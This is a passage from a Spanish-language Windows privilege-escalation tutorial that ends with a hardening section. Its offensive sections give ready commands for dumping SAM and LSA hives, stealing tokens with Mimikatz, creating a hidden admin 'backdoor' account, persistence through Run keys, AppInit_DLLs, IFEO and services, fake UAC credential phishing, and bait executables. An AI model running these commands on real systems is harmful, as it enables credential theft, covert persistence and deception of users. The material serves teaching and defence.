reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save
Extraer con secretsdump.py
:
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
8.7. Token Stealing
Si hay procesos activos de usuarios privilegiados, puedes duplicar su token de acceso y usarlo.
Mimikatz:
token::list
token::use /id:1234
Esto cambia tu contexto de ejecución al de otro usuario (si tienes privilegios suficientes).
8.8. Extraer credenciales desde volúmenes montados
Si encuentras discos .vhdx
o .vmdk
:
- Móntalos en tu sistema.
- Navega a
C:\Windows\System32\config\
- Copia los archivos SAM, SYSTEM y SECURITY.
- Usa
secretsdump.py
como en la sección anterior.
8.9. Conclusión
El robo de credenciales es el puente hacia la persistencia, el movimiento lateral y la toma completa del entorno. Desde contraseñas en texto claro hasta hashes NTLM y tickets Kerberos, toda información de autenticación debe ser vista como un vector de escalada.
9. Persistencia e Interacción con Usuarios: Escalada Silenciosa y Durable
Tras obtener acceso y posiblemente escalar privilegios en un sistema Windows, el siguiente paso natural es mantener ese acceso y seguir explotando el entorno sin levantar sospechas. A esto lo llamamos persistencia. En paralelo, existe una técnica menos directa pero muy efectiva: el abuso de la interacción con el usuario para escalar privilegios mediante engaño, suplantación o manipulación.
9.1. Crear usuarios ocultos o discretos
Crear usuario local:
net user backdoor Pass123! /add
net localgroup administrators backdoor /add
Ocultarlo del inicio de sesión:
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f
Esto evita que el usuario aparezca en la pantalla de login, pero sigue funcionando para RDP, SMB, etc.
9.2. Programar tareas persistentes
Crear tarea programada persistente:
schtasks /create /tn "Actualizador" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM
Esto ejecuta el payload cada vez que el sistema inicia sesión.
Alternativa: Tareas WMI
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'C:\backdoor.exe'
9.3. Manipulación del registro para persistencia
Agregar payload en inicio de sesión:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v updater /d "C:\backdoor.exe" /f
Esto reinicia el payload en cada inicio de sesión del usuario actual.
9.4. Sustitución de binarios confiables (LOLbins)
Reemplazar binarios que Windows confía por versiones modificadas permite lograr persistencia o escalada sigilosa.
Ejemplo:
- Ubicar binario vulnerable en
PATH
- Substituir por un binario con payload
- Asegurarse que se ejecute regularmente (por tarea, servicio, etc.)
9.5. Engaño con interfaces: Fake UAC / login
Puedes simular ventanas del sistema para engañar al usuario y capturar credenciales.
Herramientas:
Invoke-CredentialPhisher.ps1
Windows-Credential-Harvester
Ejemplo:
Invoke-CredentialPhisher -Force
Esto muestra un falso prompt de UAC. Si el usuario introduce sus credenciales, se capturan en texto claro.
9.6. Uso de DLLs para persistencia silenciosa
Persistencia mediante AppInit_DLLs:
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /d "C:\evil.dll" /f
Esto hace que la DLL maliciosa se cargue en todos los procesos que usan user32.dll
(casi todos los programas con interfaz gráfica).
Otra opción: Uso de IFEO
(Image File Execution Options)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "C:\backdoor.exe" /f
Cada vez que se intente abrir notepad.exe
, se ejecutará tu payload.
9.7. Interacción pasiva con usuarios
Esperar uso de herramientas:
Puedes colocar ejecutables con nombres comunes en rutas accesibles:
C:\Users\Public\chrome.exe
C:\Users\Public\teams.exe
Si algún usuario hace doble clic por error, se ejecutará el payload.
Colocar archivos tentadores («baiting»):
C:\Users\Public\Contraseñas2025.xlsx
C:\Users\Public\InformePrivado.pdf.exe
9.8. Persistencia en servicios existentes
Si encuentras un servicio vulnerable o que puedas modificar:
sc config ServicioX binPath= "C:\backdoor.exe"
sc start ServicioX
Puedes mantener el acceso cada vez que el servicio se reinicie.
9.9. Conclusión
La persistencia garantiza continuidad en el acceso, mientras que la interacción con usuarios amplía tu capacidad de escalar en entornos donde los vectores técnicos son limitados. Ambas técnicas son fundamentales en entornos reales, especialmente cuando se busca un enfoque sigiloso y duradero.
10. Explotación de Sistemas Obsoletos en Windows: Cuando el tiempo es tu aliado
Una de las realidades más comunes (y más peligrosas) en entornos corporativos es la presencia de sistemas operativos obsoletos. Versiones de Windows que ya no reciben parches de seguridad (EOL – End Of Life) como Windows 7, Server 2008 o incluso XP, continúan siendo utilizadas por compatibilidad, limitaciones presupuestarias o pura negligencia. Para un atacante, esto representa una mina de oro para la escalada de privilegios.
10.1. ¿Qué versiones de Windows están obsoletas (EOL)?
Algunos ejemplos comunes:
- Windows XP → EOL desde 2014
- Windows Vista → EOL desde 2017
- Windows 7 → EOL desde 2020 (sin ESU)
- Windows Server 2008 / 2008 R2 → EOL desde 2020
- Windows Server 2012 → EOL desde 2023
Estas versiones no reciben actualizaciones de seguridad salvo acuerdos específicos (Extended Security Updates), y suelen estar plagadas de vulnerabilidades conocidas.
10.2. Identificar versiones obsoletas
Ver sistema operativo:
systeminfo
Busca la línea:
OS Name: Microsoft Windows 7 Professional
Ver arquitectura:
[Environment]::Is64BitOperatingSystem
La combinación de versión + arquitectura ayuda a elegir el exploit adecuado.
10.3. Vulnerabilidades clásicas para escalada local en sistemas obsoletos
CVE-2016-0099 (Hot Potato):
Afecta a Windows 7 / Server 2008. Explotación del servicio NBNS para suplantación.
CVE-2019-0836 (Win32k Elevation):
Vulnerabilidad de corrupción de memoria local. Permite ejecutar código como SYSTEM.
CVE-2015-1701:
Corrupción en el kernel Win32k.sys, usada en múltiples kits de explotación.
CVE-2020-0787 (PrintDemon):
Permite escalada aprovechando el servicio de impresión de Windows.
10.4. Herramientas para detectar y explotar
Windows Exploit Suggester – NG (WES-NG)
Compara la salida de systeminfo
con una base de datos de CVEs aplicables.
python windows-exploit-suggester.py --database 2024-05-01-mssb.xls --systeminfo systeminfo.txt
Watson
Analiza el sistema para sugerir exploits locales conocidos.
Watson.exe
Exploit-db + compilación manual
Puedes buscar CVEs por sistema operativo y compilar localmente desde código fuente.
10.5. Casos reales de explotación en entornos EOL
- Windows 7 SP1 sin parches → Escalada con MS16-032 (
potato.exe
oTater.ps1
). - Windows Server 2008 R2 → Uso de
JuicyPotato
yPrintSpoofer
exitoso sin antivirus que lo detecte. - XP Embedded en equipos industriales → Explotación con
psexec
tras obtener hash de administrador local.
10.6. Recomendaciones para auditorías
- Siempre identificar la versión y nivel de parches antes de ejecutar exploits.
- Validar si el sistema tiene AV activo que bloquee herramientas antiguas.
- Ejecutar pruebas en entorno controlado antes de usar binarios compilados.
- Documentar todas las CVEs aplicables en un reporte técnico.
10.7. Conclusión
El tiempo juega a favor del atacante cuando se trata de sistemas obsoletos. Estos sistemas abandonados son altamente susceptibles a vulnerabilidades conocidas y documentadas, muchas de las cuales tienen herramientas de explotación públicas, estables y funcionales.
11. Endurecimiento y Reflexiones Finales: Cerrando la puerta a la escalada
A lo largo de este post, hemos recorrido múltiples técnicas de escalada de privilegios en sistemas Windows: desde la enumeración inicial, explotación de servicios, robo de credenciales, hasta ataques avanzados en entornos obsoletos. Ahora es el momento de ver el otro lado de la moneda: cómo protegerse de estos vectores y construir sistemas más seguros.
En esta última entrega, abordaremos estrategias de endurecimiento (hardening), buenas prácticas administrativas y reflexiones clave para minimizar la superficie de ataque.
11.1. Principio de privilegio mínimo
Uno de los pilares de la seguridad es asegurarse de que los usuarios y procesos solo tengan los permisos estrictamente necesarios.
- Retira privilegios como
SeDebugPrivilege
,SeImpersonate
, etc., salvo cuando sea absolutamente necesario. - Asegúrate de que los usuarios no estén en grupos como
Administrators
,Backup Operators
, oRemote Desktop Users
sin justificación. - Utiliza cuentas de servicio con privilegios restringidos y únicos por servicio.
11.2. Endurecimiento de servicios y tareas
- Verifica que todos los servicios estén entrecomillados correctamente.
- Usa rutas seguras (
C:\Program Files
) y restringidas para binarios de servicios. - Evita ejecutar servicios como
SYSTEM
si no es necesario. - Revisa tareas programadas regularmente y evita ejecutar scripts desde rutas públicas como
C:\Temp
.
11.3. Monitorización activa
- Utiliza soluciones como Microsoft Defender for Endpoint, Sysmon, y Event Forwarding para monitorear actividades sospechosas.
- Reglas sugeridas:
- Detección de ejecución de binarios desde ubicaciones inusuales (
C:\Users\Public
) - Tareas que se disparan en
onlogon
con ejecutables desconocidos - Manipulación de claves de registro persistentes (
Run
,AppInit_DLLs
,Image File Execution Options
)
- Detección de ejecución de binarios desde ubicaciones inusuales (
11.4. Política de parches
- Aplica parches de seguridad de forma regular y automatizada.
- Usa herramientas como WSUS, SCCM, o scripts de PowerShell para validar la presencia de actualizaciones críticas.
- Sistemas como Windows 7, Server 2008 o XP deben ser reemplazados o completamente aislados en la red.
11.5. Fortalecer almacenamiento de credenciales
- Usa Credential Guard en sistemas modernos (Windows 10 Enterprise y superior).
- Deshabilita almacenamiento en texto claro de credenciales (
LSA Protection
). - Evita scripts con contraseñas hardcoded y utiliza soluciones como LAPS para gestionar contraseñas locales de forma rotativa.
11.6. Configuración de UAC y AppLocker
- Configura UAC en modo más estricto para todos los usuarios.
- Implementa AppLocker o Windows Defender Application Control (WDAC) para restringir la ejecución de binarios no firmados.
- Usa
audit mode
para monitorear qué aplicaciones serían bloqueadas sin afectar operaciones.
11.7. Auditorías y simulaciones periódicas
- Realiza auditorías internas con herramientas como winPEAS, SharpUp, PowerUp en modo lectura para identificar fallas de configuración.
- Ejecuta ejercicios de Red Team o Purple Team para evaluar la detección y respuesta ante movimientos laterales y escaladas locales.
Reflexión final
La escalada de privilegios no es solo una técnica ofensiva; es un síntoma de debilidades estructurales en la administración del sistema. Cada servicio mal configurado, cada grupo sin revisar y cada binario sin protección representa una oportunidad para que un atacante tome el control.
🔐 El conocimiento es la mejor herramienta de seguridad. Gracias por acompañarme en este recorrido técnico. ¡Hasta la próxima!